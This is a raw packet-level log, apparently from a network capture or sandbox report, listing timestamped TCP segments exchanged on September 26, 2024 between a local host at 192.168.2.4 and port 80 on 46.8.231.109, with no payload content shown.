Sep 26, 2024 19:05:16.579838037 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.579879999 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.581157923 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.581178904 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.581216097 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.581217051 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.581254005 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.581257105 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.581285954 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.581310034 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.581310034 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.581346035 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.581353903 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.581404924 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.582892895 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.582931042 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.582968950 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.583002090 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.664112091 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.664262056 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.664272070 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.664325953 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.664326906 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.664381981 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.664416075 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.664463997 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.664483070 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.664527893 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.664549112 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.664606094 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.664630890 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.664680004 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.665131092 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.665199995 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.665211916 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.665257931 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.665277958 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.665348053 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.665359974 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.665404081 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.665425062 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.665488005 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.667505980 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.667579889 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.667588949 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.667633057 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.667653084 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.667716026 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.667735100 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.667788029 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.667789936 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.667835951 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.667880058 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.667928934 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.667943001 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.667994976 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.668005943 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.668072939 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.668086052 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.668138027 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.668152094 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.668242931 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.668255091 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.668317080 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.668338060 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.668389082 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.670579910 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.670599937 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.670627117 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.670636892 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.670661926 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.670666933 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.670686960 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.670691013 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.670713902 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.670716047 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.670747995 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.670770884 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.670953035 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.670974970 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.671000957 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.671006918 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.671030998 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.671039104 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.671056986 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.671061993 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.671084881 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.671108961 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.673535109 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.673554897 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.673578978 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.673600912 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.673609018 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.673624992 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.673634052 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.673661947 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.673664093 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.673707008 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.674128056 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.674185991 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.674241066 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.674261093 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.674273968 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.674289942 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.674304962 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.674319983 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.674362898 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.676635981 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.676696062 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.676702976 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.676775932 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.676784992 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.676834106 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.676839113 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.676860094 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.676882029 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.676904917 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.676907063 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.676959991 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.676992893 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.677047968 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.677057981 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.677139044 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.677140951 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.677186012 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.677202940 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.677242041 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.677278042 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.677315950 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.677324057 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.677373886 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.677386999 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.677423954 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.677468061 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.677469015 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.677469015 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.677515030 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.677520990 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.677563906 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.677575111 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.677627087 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.677628994 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.677680016 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.678266048 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.678316116 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.678358078 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.678368092 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.678406000 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.678457022 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.678487062 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.678538084 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.678551912 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.678594112 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.678634882 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.678698063 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.678704023 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.678725958 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.678751945 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.678754091 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.678771019 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.678780079 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.678802013 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.678821087 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.678904057 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.679018974 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.679028988 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.679092884 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.679095030 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.679157972 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.679179907 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.679223061 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.679244995 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.679281950 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.679289103 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.679305077 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.679327011 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.679346085 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.679487944 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.679507971 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.679537058 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.679546118 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.679550886 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.679567099 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.679584980 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.679591894 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.679603100 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.679613113 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.679630995 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.679645061 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.679682016 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.679780006 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.679965973 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.680028915 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.680047035 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.680090904 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.680113077 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.680133104 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.680157900 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.680160046 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.680171013 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.680183887 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.680198908 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.680222988 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.680413961 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.680438995 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.680459023 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.680474997 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.680478096 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.680504084 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.680519104 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.680525064 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.680542946 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.680552006 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.680561066 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.680572987 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.680591106 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.680599928 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.680613041 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.680640936 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.681307077 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.681334019 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.681355953 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.681360006 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.681370974 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.681400061 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.681402922 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.681441069 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.682229042 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.682310104 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.751503944 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.751605034 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.751652956 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.751698971 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.751734018 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.751775980 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.751842022 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.751861095 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.751883984 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.751884937 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.751893997 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.751909971 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.751924992 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.751950026 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.752417088 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.752475023 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.752500057 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.752541065 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.752556086 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.752593994 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.752593994 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.752633095 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.752634048 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.752676010 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.753202915 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.753247976 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.753257990 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.753297091 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.753298998 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.753354073 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.753365040 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.753418922 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.753447056 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.753485918 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.753496885 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.753552914 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.754149914 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.754169941 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.754193068 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.754203081 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.754215002 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.754220963 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.754239082 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.754240990 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.754251957 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.754261971 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.754276037 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.754297972 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.755054951 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.755081892 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.755108118 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.755112886 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.755130053 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.755143881 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.755148888 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.755182028 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.755188942 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.755188942 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.755198002 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.755222082 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.755942106 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.755966902 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.755989075 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.756011963 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.756011963 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.756014109 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.756026030 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.756026030 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.756051064 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.756052971 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.756062984 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.756102085 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.756856918 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.756885052 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.756906986 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.756917000 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.756920099 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.756941080 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.756958008 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.756962061 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.756973028 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.756990910 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.756997108 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.757025957 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.757776976 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.757813931 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.757833004 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.757834911 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.757853985 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.757863045 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.757873058 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.757884026 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.757909060 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.757910967 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.757937908 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.757951021 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.758749962 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.758774042 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.758791924 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.758804083 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.758814096 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.758830070 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.758838892 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.758856058 CEST	80	49735	46.8.231.109	192.168.2.4
